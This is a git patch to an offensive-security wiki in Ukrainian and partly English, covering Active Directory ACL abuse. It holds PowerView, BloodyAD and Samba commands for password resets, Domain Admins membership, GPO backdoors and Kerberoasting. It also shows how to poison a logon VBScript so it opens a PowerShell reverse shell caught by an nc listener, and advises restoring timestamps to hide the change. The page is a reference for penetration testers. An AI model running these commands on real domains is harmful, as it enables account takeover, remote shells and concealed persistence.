From 52b886f1f9e6618f1c6abbeb3df5604fbfffabc3 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 22:51:26 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/dl --- src/SUMMARY.md | 1 - .../acl-persistence-abuse/README.md | 186 +++++++--- .../dll-hijacking.md | 320 ------------------ 3 files changed, 143 insertions(+), 364 deletions(-) delete mode 100644 src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ff94a56ed..a0c0a0bb7 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -238,7 +238,6 @@ - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) - [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index 39dedc29e..c740d7639 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**Ця сторінка здебільшого є підсумком технік з** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **та** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Для детальнішої інформації див. оригінальні статті.** +**Ця сторінка переважно є підсумком технік з** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **та** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Для детальнішої інформації перегляньте оригінальні статті.** ## BadSuccessor @@ -11,32 +11,47 @@ BadSuccessor.md {{#endref}} -## **GenericAll Rights on User** +## **GenericAll права на користувача** -Це право надає зловмиснику повний контроль над цільовим обліковим записом користувача. Після підтвердження прав `GenericAll` за допомогою команди `Get-ObjectAcl`, зловмисник може: +Ця привілегія дає нападнику повний контроль над цільовим обліковим записом користувача. Після підтвердження прав `GenericAll` за допомогою команди `Get-ObjectAcl`, нападник може: -- **Змінити пароль цілі**: Використовуючи `net user /domain`, зловмисник може скинути пароль користувача. -- **Targeted Kerberoasting**: Призначити SPN для облікового запису користувача, щоб зробити його kerberoastable, а потім використати Rubeus та targetedKerberoast.py для витягання та спроби злому хешів ticket-granting ticket (TGT). +- **Змінити пароль цілі**: Використовуючи `net user /domain`, нападник може скинути пароль користувача. +- З Linux це можна зробити так само через SAMR за допомогою Samba `net rpc`: +```bash +# Reset target user's password over SAMR from Linux +net rpc password '' -U /%'' -S +``` +- **Якщо обліковий запис вимкнено, зніміть прапорець UAC**: `GenericAll` дозволяє редагувати `userAccountControl`. З Linux, BloodyAD може видалити прапорець `ACCOUNTDISABLE`: +```bash +bloodyAD --host -d -u -p '' remove uac -f ACCOUNTDISABLE +``` +- **Targeted Kerberoasting**: Призначте SPN обліковому запису користувача, щоб зробити його kerberoastable, потім використайте Rubeus і targetedKerberoast.py, щоб витягти та спробувати зламати ticket-granting ticket (TGT) hashes. ```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` -- **Цілеспрямований ASREPRoasting**: Вимкніть pre-authentication для користувача, зробивши його обліковий запис вразливим до ASREPRoasting. +- **Targeted ASREPRoasting**: Вимкніть попередню автентифікацію для користувача, зробивши його обліковий запис вразливим до ASREPRoasting. ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -## **GenericAll — права над групою** +- **Shadow Credentials / Key Credential Link**: Маючи `GenericAll` на користувачі, ви можете додати сертифікатну облікову інформацію і автентифікуватися від їхнього імені без зміни їхнього пароля. Див.: -Ця привілегія дозволяє зловмиснику маніпулювати членством у групі, якщо він має `GenericAll` права на групу, наприклад `Domain Admins`. Після визначення distinguished name групи за допомогою `Get-NetGroup`, зловмисник може: +{{#ref}} +shadow-credentials.md +{{#endref}} -- **Додати себе до групи `Domain Admins`**: Це можна зробити за допомогою прямих команд або використовуючи модулі, як-от Active Directory чи PowerSploit. +## **Права GenericAll для групи** + +Ця привілегія дозволяє нападникові керувати членством у групі, якщо вони мають права `GenericAll` на групу, наприклад `Domain Admins`. Після визначення відмінного імені групи (distinguished name) за допомогою `Get-NetGroup`, нападник може: + +- **Додати себе до групи Domain Admins**: Це можна зробити за допомогою прямих команд або використовуючи модулі, такі як Active Directory або PowerSploit. ```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` -- З Linux ви також можете використовувати BloodyAD, щоб додати себе до довільних груп, якщо ви маєте GenericAll/Write права щодо них. Якщо цільова група вкладена в “Remote Management Users”, ви миттєво отримаєте доступ WinRM на хостах, які враховують цю групу: +- З Linux ви також можете використати BloodyAD, щоб додати себе до довільних груп, коли ви маєте над ними GenericAll/Write-права. Якщо цільова група вкладена в “Remote Management Users”, ви негайно отримаєте доступ WinRM на хостах, що визнають цю групу: ```bash # Linux tooling example (BloodyAD) to add yourself to a target group bloodyAD --host -d -u -p '' add groupMember "" @@ -48,33 +63,33 @@ netexec winrm -u -p '' Наявність цих привілеїв на об'єкті комп'ютера або обліковому записі користувача дозволяє: -- **Kerberos Resource-based Constrained Delegation**: Дозволяє захопити об'єкт комп'ютера. -- **Shadow Credentials**: Використовуйте цю техніку, щоб видавати себе за обліковий запис комп'ютера або користувача, використовуючи привілеї для створення Shadow Credentials. +- **Kerberos Resource-based Constrained Delegation**: Дозволяє взяти під контроль об'єкт комп'ютера. +- **Shadow Credentials**: Використовуйте цю техніку для імітації комп'ютера або облікового запису користувача, експлуатуючи привілеї для створення Shadow Credentials. ## **WriteProperty on Group** -Якщо користувач має `WriteProperty` права на всі об'єкти для певної групи (наприклад, `Domain Admins`), він може: +Якщо користувач має права `WriteProperty` на всі об'єкти певної групи (наприклад, `Domain Admins`), вони можуть: -- **Add Themselves to the Domain Admins Group**: Досягається шляхом поєднання команд `net user` і `Add-NetGroupUser`; цей метод дозволяє ескалацію привілеїв у домені. +- **Додати себе до групи Domain Admins**: Досягається шляхом поєднання команд `net user` та `Add-NetGroupUser`; цей метод дозволяє ескалацію привілеїв у межах домену. ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` -## **Self (Self-Membership) on Group** +## **Self (Self-Membership) у групі** -Ця привілея дозволяє атакувальникам додавати себе до конкретних груп, таких як `Domain Admins`, за допомогою команд, які безпосередньо маніпулюють членством у групі. Використання наступної послідовності команд дозволяє самододавання: +Цей привілей дозволяє атакувальникам додавати себе до певних груп, таких як `Domain Admins`, за допомогою команд, що безпосередньо маніпулюють членством у групі. Використання наступної послідовності команд дозволяє самододавання: ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **WriteProperty (Self-Membership)** -Аналогічне повноваження, яке дозволяє зловмисникам безпосередньо додавати себе до груп шляхом зміни властивостей груп, якщо вони мають право `WriteProperty` на цих групах. Підтвердження та виконання цього повноваження здійснюються за допомогою: +Схожа привілея: вона дозволяє зловмисникам безпосередньо додавати себе до груп, змінюючи властивості груп, якщо вони мають право `WriteProperty` на цих групах. Підтвердження та виконання цього права здійснюються за допомогою: ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -Наявність `ExtendedRight` для користувача з правом `User-Force-Change-Password` дозволяє скинути пароль без знання поточного пароля. Перевірка цього права та його використання можуть виконуватися через PowerShell або альтернативні інструменти командного рядка, які пропонують кілька методів скидання пароля користувача, включно з інтерактивними сесіями та one-liners для неінтерактивних середовищ. Команди варіюються від простих викликів PowerShell до використання `rpcclient` на Linux, що демонструє гнучкість векторів атаки. +Наявність у користувача права `ExtendedRight` для `User-Force-Change-Password` дозволяє скинути пароль без знання поточного. Перевірка цього права та його експлуатація можуть виконуватись через PowerShell або альтернативні інструменти командного рядка, що пропонують кілька методів скидання пароля користувача, включно з інтерактивними сесіями та one-liners для неінтерактивних середовищ. Команди варіюються від простих викликів PowerShell до використання `rpcclient` на Linux, що демонструє різноманітність векторів атак. ```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose @@ -85,23 +100,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri rpcclient -U KnownUsername 10.10.10.192 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!' ``` -## **WriteOwner у групі** +## **WriteOwner на групі** -Якщо зловмисник виявить, що має права `WriteOwner` над групою, він може змінити власника групи на себе. Це особливо критично, коли мова про `Domain Admins`, оскільки зміна власника дає ширший контроль над атрибутами групи та її членством. Процес полягає у виявленні відповідного об'єкта за допомогою `Get-ObjectAcl`, а потім використанні `Set-DomainObjectOwner` для зміни власника — або за SID, або за іменем. +Якщо зловмисник виявить, що він має права `WriteOwner` над групою, він може змінити власника групи на себе. Це особливо критично, коли йдеться про групу `Domain Admins`, оскільки зміна власника дозволяє отримати ширший контроль над атрибутами групи та її складом. Процес передбачає визначення правильного об’єкта за допомогою `Get-ObjectAcl`, а потім використання `Set-DomainObjectOwner` для зміни власника — або за SID, або за ім'ям. ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` -## **GenericWrite для користувача** +## **GenericWrite on User** -Цей дозвіл дозволяє зловмиснику змінювати властивості користувача. Зокрема, маючи доступ `GenericWrite`, зловмисник може змінити шлях скрипта входу користувача, щоб виконати шкідливий скрипт при вході. Це досягається за допомогою команди `Set-ADObject` для оновлення властивості `scriptpath` цільового користувача, щоб вона вказувала на скрипт зловмисника. +Цей дозвіл дозволяє зловмиснику змінювати властивості користувача. Зокрема, маючи доступ `GenericWrite`, зловмисник може змінити шлях до скрипта входу користувача, щоб виконати шкідливий скрипт при вході користувача. Це досягається за допомогою команди `Set-ADObject` для оновлення властивості `scriptpath` цільового користувача, вказавши на скрипт зловмисника. ```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` ## **GenericWrite on Group** -З цією привілеєю нападники можуть змінювати членство в групах, наприклад додавати до певних груп себе або інших користувачів. Цей процес включає створення credential object, використання його для додавання або видалення користувачів із групи та перевірку змін у членстві за допомогою команд PowerShell. +Маючи цей привілей, зловмисники можуть маніпулювати членством у групах, наприклад додавати себе або інших користувачів до конкретних груп. Цей процес включає створення об'єкта облікових даних, використання його для додавання або видалення користувачів із групи та перевірку змін у членстві за допомогою команд PowerShell. ```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) @@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna Get-DomainGroupMember -Identity "Group Name" | Select MemberName Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose ``` +- З Linux, Samba `net` може додавати/видаляти членів, якщо ви маєте `GenericWrite` для групи (корисно, коли PowerShell/RSAT недоступні): +```bash +# Add yourself to the target group via SAMR +net rpc group addmem "" -U /%'' -S +# Verify current members +net rpc group members "" -U /%'' -S +``` ## **WriteDACL + WriteOwner** -Володіння об'єктом AD та наявність `WriteDACL` привілеїв на ньому дозволяє нападнику надати собі привілеї `GenericAll` над цим об'єктом. Це реалізується через ADSI manipulation, що надає повний контроль над об'єктом та можливість змінювати його членство в групах. Однак існують обмеження при спробі використати ці привілеї за допомогою модуля Active Directory і його cmdlets `Set-Acl` / `Get-Acl`. +Володіння об'єктом AD і наявність привілеїв `WriteDACL` на ньому дозволяє нападникові надати собі привілеї `GenericAll` над об'єктом. Це досягається шляхом маніпуляцій ADSI, що дає повний контроль над об'єктом і можливість змінювати його членство в групах. Незважаючи на це, існують обмеження при спробі використати ці привілеї за допомогою модуля Active Directory і cmdlets `Set-Acl` / `Get-Acl`. ```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) @@ -119,64 +141,138 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) $ADSI.psbase.commitchanges() ``` +### WriteDACL/WriteOwner quick takeover (PowerView) + +Коли у вас є `WriteOwner` і `WriteDacl` над обліковим записом користувача або сервісним обліковим записом, ви можете повністю взяти його під контроль і скинути пароль за допомогою PowerView без знання старого пароля: +```powershell +# Load PowerView +. .\PowerView.ps1 + +# Grant yourself full control over the target object (adds GenericAll in the DACL) +Add-DomainObjectAcl -Rights All -TargetIdentity -PrincipalIdentity -Verbose + +# Set a new password for the target principal +$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force +Set-DomainUserPassword -Identity -AccountPassword $cred -Verbose +``` +Примітки: +- Можливо, спочатку потрібно змінити власника на себе, якщо у вас є лише `WriteOwner`: +```powershell +Set-DomainObjectOwner -Identity -OwnerIdentity +``` +- Перевіряйте доступ будь-яким протоколом (SMB/LDAP/RDP/WinRM) після скидання пароля. + ## **Реплікація в домені (DCSync)** -Атака DCSync використовує специфічні дозволи на реплікацію в домені, щоб імітувати контролер домену та синхронізувати дані, включно з обліковими даними користувачів. Ця потужна техніка потребує таких дозволів, як `DS-Replication-Get-Changes`, що дозволяє зловмисникам витягувати чутливу інформацію з середовища AD без прямого доступу до контролера домену. [**Дізнайтеся більше про атаку DCSync тут.**](../dcsync.md) +The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md) -## Делегування GPO +## GPO Delegation ### Делегування GPO -Делегований доступ для керування Об'єктами групової політики (GPO) може становити значні ризики для безпеки. Наприклад, якщо користувач, такий як `offense\spotless`, має делеговані права керування GPO, йому можуть надаватися привілеї, як-от **WriteProperty**, **WriteDacl** та **WriteOwner**. Цими дозволами можна зловживати зловмисними цілями, як це ідентифікується за допомогою PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -### Перелічення дозволів GPO +### Перерахування дозволів GPO -Щоб виявити неправильно налаштовані GPO, cmdlet'и PowerSploit можна ланцюжити. Це дозволяє знайти GPO, якими певний користувач може керувати: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**Комп'ютери, до яких застосовано певну політику**: Можна визначити, до яких комп'ютерів застосовано конкретний GPO, що допомагає зрозуміти масштаб потенційного впливу. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**Computers with a Given Policy Applied**: Можна визначити, на які комп'ютери застосовано конкретну політику, щоб усвідомити масштаб потенційного впливу. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` -**Політики, застосовані до певного комп'ютера**: Щоб побачити, які політики застосовано до конкретного комп'ютера, можна використати команди на зразок `Get-DomainGPO`. +**Policies Applied to a Given Computer**: Щоб побачити, які політики застосовано до певного комп'ютера, можна використовувати команди на кшталт `Get-DomainGPO`. -**OU, до яких застосовано політику**: Визначити організаційні підрозділи (OU), на які впливає політика, можна за допомогою `Get-DomainOU`. +**OUs with a Given Policy Applied**: Визначення підрозділів (OU), на які впливає певна політика, можна здійснити за допомогою `Get-DomainOU`. -Ви також можете використати інструмент [**GPOHound**](https://github.com/cogiceo/GPOHound) для перерахування GPO і пошуку в них проблем. +Ви також можете використовувати інструмент [**GPOHound**](https://github.com/cogiceo/GPOHound) для переліку GPO та пошуку в них проблем. -### Зловживання GPO - New-GPOImmediateTask +### Abuse GPO - New-GPOImmediateTask -Неправильно налаштовані GPO можна експлуатувати для виконання коду, наприклад шляхом створення миттєвого запланованого завдання. Це можна використати, щоб додати користувача до групи локальних адміністраторів на уражених машинах, що значно підвищує привілеї: +Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges: ```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` ### GroupPolicy module - Abuse GPO -Модуль GroupPolicy, якщо встановлено, дозволяє створювати та пов'язувати нові GPOs, а також задавати параметри, такі як значення реєстру, для виконання backdoors на уражених комп'ютерах. Цей метод вимагає оновлення GPO та входу користувача в систему на комп'ютері для виконання: +GroupPolicy module, якщо встановлено, дозволяє створювати та зв'язувати нові GPOs і встановлювати налаштування, такі як registry values, щоб запускати backdoors на уражених комп'ютерах. Цей метод вимагає оновлення GPO і входу користувача в систему на комп'ютері для виконання: ```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` ### SharpGPOAbuse - Abuse GPO -SharpGPOAbuse пропонує метод зловживання існуючими GPO шляхом додавання завдань або зміни налаштувань без необхідності створювати нові GPO. Цей інструмент вимагає модифікації існуючих GPO або використання RSAT для створення нових перед застосуванням змін: +SharpGPOAbuse пропонує спосіб зловживання існуючими GPOs шляхом додавання завдань або зміни налаштувань без потреби створювати нові GPOs. Для застосування змін цей інструмент вимагає модифікації існуючих GPOs або створення нових за допомогою RSAT tools: ```bash .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" ``` ### Примусове оновлення політики -Оновлення GPO зазвичай відбуваються приблизно кожні 90 хвилин. Щоб пришвидшити цей процес, особливо після внесення зміни, на цільовому комп’ютері можна виконати команду `gpupdate /force` для примусового негайного оновлення політик. Ця команда гарантує, що будь-які зміни в GPO застосуються без очікування наступного автоматичного циклу оновлення. +GPO updates typically occur around every 90 minutes. To expedite this process, especially after implementing a change, the `gpupdate /force` command can be used on the target computer to force an immediate policy update. This command ensures that any modifications to GPOs are applied without waiting for the next automatic update cycle. ### Під капотом -Після перевірки запланованих завдань для певного GPO, наприклад `Misconfigured Policy`, можна підтвердити додавання завдань, таких як `evilTask`. Ці завдання створюються за допомогою скриптів або інструментів командного рядка з метою змінити поведінку системи або підвищити привілеї. +При перевірці Запланованих завдань для певного GPO, наприклад `Misconfigured Policy`, можна підтвердити додавання завдань типу `evilTask`. Такі завдання створюються за допомогою скриптів або інструментів командного рядка з метою змінити поведінку системи або підвищити привілеї. -Структура завдання, як показано у XML-конфігураційному файлі, згенерованому `New-GPOImmediateTask`, описує деталі запланованого завдання — включно з командою, що має бути виконана, та її тригерами. Цей файл демонструє, як заплановані завдання визначаються та керуються в межах GPO, надаючи спосіб виконання довільних команд або скриптів у рамках застосування політик. +Структура завдання, як показано у XML-конфігураційному файлі, згенерованому `New-GPOImmediateTask`, описує специфіку запланованого завдання — включно з командою для виконання та її тригерами. Цей файл ілюструє, як заплановані завдання визначаються та керуються в межах GPO, надаючи метод для виконання довільних команд або скриптів як частини застосування політики. ### Користувачі та групи -GPO також дозволяють маніпулювати членством користувачів і груп на цільових системах. Редагуючи файли політик Users and Groups безпосередньо, зловмисники можуть додавати користувачів до привілейованих груп, таких як локальна група `administrators`. Це можливо завдяки делегуванню прав управління GPO, яке дозволяє змінювати файли політик для включення нових користувачів або зміни членства в групах. +GPOs також дозволяють маніпулювати членством користувачів і груп на цільових системах. Редагуючи файли політик Users and Groups безпосередньо, нападники можуть додавати користувачів до привілейованих груп, таких як локальна група `administrators`. Це можливо через делегування прав управління GPO, що дозволяє змінювати файли політик, додаючи нових користувачів або змінюючи членство у групах. -XML-конфігураційний файл для Users and Groups описує, як реалізуються ці зміни. Додаючи записи до цього файлу, конкретним користувачам можна надати підвищені привілеї на уражених системах. Цей метод дає прямий шлях до підвищення привілеїв через маніпуляцію GPO. +XML-конфігураційний файл для Users and Groups описує, як ці зміни реалізуються. Додаючи записи до цього файлу, конкретним користувачам можна надати підвищені привілеї на уражених системах. Цей метод пропонує прямий підхід до ескалації привілеїв шляхом маніпуляції GPO. + +Крім того, можна розглядати додаткові методи виконання коду або підтримки перстистентності, такі як використання скриптів входу/виходу, модифікація ключів реєстру для autoruns, встановлення програм через .msi файли або редагування конфігурацій служб. Ці техніки надають різні шляхи для підтримки доступу та контролю над цільовими системами через зловживання GPOs. + +## SYSVOL/NETLOGON Logon Script Poisoning + +Writable paths under `\\\SYSVOL\\scripts\` or `\\\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users. + +### Знайти скрипти входу +- Перевірте атрибути користувача на наявність налаштованого скрипта входу: +```powershell +Get-DomainUser -Identity -Properties scriptPath, scriptpath +``` +- Сканувати мережеві спільні папки домену, щоб виявити ярлики або посилання на scripts: +```bash +# NetExec spider (authenticated) +netexec smb -u -p -M spider_plus +``` +- Парсувати `.lnk` файли, щоб визначити цілі, що вказують у SYSVOL/NETLOGON (корисна техніка для DFIR і для атакувальників без прямого доступу до GPO): +```bash +# LnkParse3 +lnkparse login.vbs.lnk +# Example target revealed: +# C:\Windows\SYSVOL\sysvol\\scripts\login.vbs +``` +- BloodHound відображає атрибут `logonScript` (scriptPath) на вузлах користувачів, якщо він присутній. + +### Перевірте доступ на запис (don’t trust share listings) +Автоматизовані інструменти можуть показувати SYSVOL/NETLOGON як доступні лише для читання, але самі NTFS ACL все ще можуть дозволяти запис. Завжди перевіряйте: +```bash +# Interactive write test +smbclient \\\SYSVOL -U % +smb: \\> cd \scripts\ +smb: \\\scripts\\> put smallfile.txt login.vbs # check size/time change +``` +Якщо розмір файлу або mtime змінюються, у вас є дозвіл на запис. Збережіть оригінали перед модифікацією. + +### Poison a VBScript logon script for RCE +Додайте команду, яка запускає PowerShell reverse shell (згенеруйте на revshells.com) і збережіть оригінальну логіку, щоб не порушити бізнес-функцію: +```vb +' At top of login.vbs +Set cmdshell = CreateObject("Wscript.Shell") +cmdshell.run "powershell -e " + +' Existing mappings remain +MapNetworkShare "\\\\\\apps", "V" +MapNetworkShare "\\\\\\docs", "L" +``` +Прослуховуйте свій хост і чекайте наступного інтерактивного входу: +```bash +rlwrap -cAr nc -lnvp 443 +``` +Примітки: +- Виконання відбувається під токеном користувача, що виконав вхід (не SYSTEM). Область дії — GPO link (OU, site, domain), який застосовує цей скрипт. +- Прибирайте сліди, відновлюючи оригінальний вміст/мітки часу після використання. -Крім того, можна розглянути додаткові методи для виконання коду або підтримки персистентності, такі як використання скриптів входу/виходу, модифікація ключів реєстру для автозапуску, встановлення ПЗ через .msi-файли або редагування конфігурацій сервісів. Ці техніки надають різні шляхи для збереження доступу та контролю над цільовими системами шляхом зловживання GPO. ## Посилання @@ -187,5 +283,9 @@ XML-конфігураційний файл для Users and Groups описує - [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) - [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658) - [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_) +- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_) +- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD) +- [Samba – net rpc (group membership)](https://www.samba.org/) +- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md deleted file mode 100644 index cb68ff7ef..000000000 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md +++ /dev/null @@ -1,320 +0,0 @@ -# Dll Hijacking - -{{#include ../../banners/hacktricks-training.md}} - - - -## Базова інформація - -DLL Hijacking передбачає маніпуляцію довіреним застосунком, щоб він завантажив шкідливу DLL. Цей термін охоплює декілька тактик, таких як **DLL Spoofing, Injection, and Side-Loading**. Він в основному використовується для виконання коду, досягнення persistence і, рідше, privilege escalation. Незважаючи на фокус на ескалації тут, методика hijacking залишається однаковою для різних цілей. - -### Поширені техніки - -Існує кілька методів DLL hijacking, кожен з яких ефективний залежно від стратегії завантаження DLL застосунку: - -1. **DLL Replacement**: Заміна справжньої DLL на шкідливу, опціонально з використанням DLL Proxying для збереження функціональності оригінальної DLL. -2. **DLL Search Order Hijacking**: Розміщення шкідливої DLL у шляху пошуку раніше за легітимну, експлуатуючи шаблон пошуку застосунку. -3. **Phantom DLL Hijacking**: Створення шкідливої DLL для застосунку, який намагається завантажити неіснуючу обов'язкову DLL. -4. **DLL Redirection**: Зміна параметрів пошуку, таких як %PATH% або .exe.manifest / .exe.local файли, щоб спрямувати застосунок до шкідливої DLL. -5. **WinSxS DLL Replacement**: Підміна легітимної DLL на шкідливу у директорії WinSxS, метод часто пов’язаний із DLL side-loading. -6. **Relative Path DLL Hijacking**: Розміщення шкідливої DLL у керованій користувачем директорії разом зі скопійованим застосунком, що нагадує техніки Binary Proxy Execution. - -## Пошук відсутніх Dlls - -Найпоширеніший спосіб знайти відсутні Dlls у системі — запустити [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) зі sysinternals, **встановивши** **наступні 2 фільтри**: - -![](<../../images/image (311).png>) - -![](<../../images/image (313).png>) - -і просто показати **File System Activity**: - -![](<../../images/image (314).png>) - -Якщо ви шукаєте **відсутні dlls загалом**, ви **залишаєте** це запущеним на кілька **секунд**.\ -Якщо ви шукаєте **відсутню dll всередині конкретного виконуваного файлу**, вам слід встановити **інший фільтр, наприклад "Process Name" "contains" "\", виконати його та зупинити захоплення подій**. - -## 